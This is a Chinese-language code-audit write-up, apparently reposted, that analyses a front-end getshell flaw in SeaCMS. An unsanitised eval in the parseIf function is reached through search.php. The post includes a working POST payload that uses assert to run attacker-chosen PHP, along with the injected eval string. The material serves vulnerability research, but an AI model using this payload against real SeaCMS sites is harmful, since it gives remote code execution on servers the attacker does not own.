代码审计seacms 前台Getshell分析

Posted 水清云影

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计seacms 前台Getshell分析相关的知识,希望对你有一定的参考价值。

一、漏洞分析

漏洞触发点search.php 211-213行

跟进parseIf 函数 ./include/main.class.php

这里要注意 3118行的位置,可以看到未做任何处理的eval

二、触发条件

if(intval($searchtype)==5)   

if (strpos($content,\'{if:\')=== true)

{if:(.*?)}(.*?){end if} 

if (strpos($strThen,$labelRule2)===false)

if (strpos($strThen,$labelRule3)>=0){

三、构造POC

http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar

   如果是$strIf=$iar[0];  则代表匹配整个的结果

   $strIf=$iar[1][$m];   这里匹配整个内容的第一个子组  1)print_r($_POST[func]($_POST[cmd]));//

2.

...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){

    $strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句

3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!

最终进入语句带代码

eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")

 四、漏洞验证

 

以上是关于代码审计seacms 前台Getshell分析的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

[PHP代码审计]SEACMS命令执行漏洞

[PHP代码审计]SEACMS命令执行漏洞

[代码审计]yxcms从伪xss到getshell

XerCMS-1.0.3代码审计(文件名报错注入后台getshell)

ZZZPHP1.61 代码审计-从SQL注入到Getshell